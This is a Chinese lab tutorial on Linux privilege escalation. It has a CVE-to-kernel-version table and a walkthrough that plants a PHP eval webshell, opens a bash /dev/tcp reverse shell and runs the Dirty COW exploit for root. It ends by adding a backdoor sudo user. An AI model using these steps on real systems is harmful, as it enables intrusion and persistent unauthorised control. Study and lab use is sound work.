后渗透—— Linux系统权限提升

实验环境

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漏洞版本对照表

CVE-2017-1000367  [Sudo]
(Sudo 1.8.6p7 - 1.8.20)
 
CVE-2017-7494  [Samba Remote execution]
(Samba 3.5.0-4.6.4/4.5.10/4.4.14)
 
CVE-2016-5195  [Dirty cow]
(Linux kernel>2.6.22 (released in 2007))
 
CVE-2016-0728  [pp_key]
(3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
 
CVE-2015-7547  [glibc getaddrinfo]
(before Glibc 2.9)
 
CVE-2015-1328  [overlayfs]
(3.13, 3.16.0, 3.19.0)
 
CVE-2014-5284  [OSSEC]
(2.8)
 
CVE-2014-4699  [ptrace]
(before 3.15.4)
 
CVE-2014-4014  [Local Privilege Escalation]
(before 3.14.8)
 
CVE-2014-3153  [futex]
(3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1)
 
CVE-2014-0196  [rawmodePTY]
(2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15)
 
CVE-2014-0038  [timeoutpwn]
(3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
 
CVE-2013-2094  [perf_swevent]
(3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9)
 
CVE-2013-0268  [msr]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6)
 
CVE-2012-3524  [libdbus]
(libdbus 1.5.x and earlier)
 
CVE-2012-0056  [memodipper]
(2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0)
 
CVE-2010-4347  [american-sign-language]
(   2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-4258  [full-nelson]
(2.6.31, 2.6.32, 2.6.35, 2.6.37)
 
CVE-2010-4073  [half_nelson]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-3904  [rds]
(2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-3437  [pktcdvd]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-3301  [ptrace_kmod2]
(2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)
 
CVE-2010-3081  [video4linux]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33)
 
CVE-2010-2959  [can_bcm]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
 
CVE-2010-1146  [reiserfs]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)
 
CVE-2010-0415  [do_pages_move]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)
 
CVE-2009-3547  [pipe.c_32bit]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)
 
CVE-2009-2698  [udp_sendmsg_32bit]
(2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19)
 
CVE-2009-2692  [sock_sendpage]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
 
CVE-2009-2692  [sock_sendpage2]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
 
CVE-2009-1337  [exit_notify]
(2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
 
CVE-2009-1185  [udev]
(2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
 
CVE-2008-4210  [ftrex]
(2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22)
 
CVE-2008-0600  [vmsplice2]
(2.6.23, 2.6.24)
 
CVE-2008-0600  [vmsplice1]
(2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1)
 
CVE-2006-3626  [h00lyshit]
(2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16)
 
CVE-2006-2451  [raptor_prctl]
(2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17)
 
CVE-2005-0736  [krad3]
(2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11)
 
CVE-2004-1235  [elflbl]
(2.4.29)
 
CVE-N/A  [caps_to_root]
(2.6.34, 2.6.35, 2.6.36)
 
CVE-2004-0077  [mremap_pte]
(2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27)

转载自https://www.cnblogs.com/wh4am1/p/7302521.html

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模拟实验

1、配置环境

切换root用户,输入命令yum -y install php mysql-server httpd php-mysql安装lamp
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开启httpd服务/etc/init.d/httpd start
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进入/var/www/html/目录创建一句话木马文件:<?php @eval($_REQUEST[666]);?>
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关闭防火墙service iptables stop
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查看IP,在浏览器中试试能否访问
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环境配置完成
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2、开始提权

使用菜刀连接右键点击虚拟终端
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输入uname -a查看内核版本
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使用nc获取交互式shell,在菜刀中输入bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1
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成功获得shell,用户是Apache
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下载脏牛漏洞https://github.com/FireFart/dirtycow在这里插入图片描述
将下载好的脏牛拖入tmp文件夹中
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然后进入到tmp文件夹执行gcc -pthread dirty.c -o dirty -lcrypt编译dirty文件
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执行./dirty qwerty后面是密码
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使用Xshell连接firefart用户密码为刚才的密码
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id查询已拿到root权限
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将passwd文件还原然后添加一个zs用户并加到管理员组

[firefart@localhost ~]# mv /tmp/passwd.bak /etc/passwd
mv: overwrite `/etc/passwd'? yes
[firefart@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[firefart@localhost ~]# useradd zs
[firefart@localhost ~]# passwd zs
Changing password for user zs.
New password: 
Retype new password: 
passwd: all authentication tokens updated successfully.
[firefart@localhost ~]# gpasswd -a zs wheel
Adding user zs to group wheel
[firefart@localhost ~]# 

然後vi /etc/sudoers将105行前的#去掉
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转载自blog.csdn.net/weixin_45728976/article/details/104793822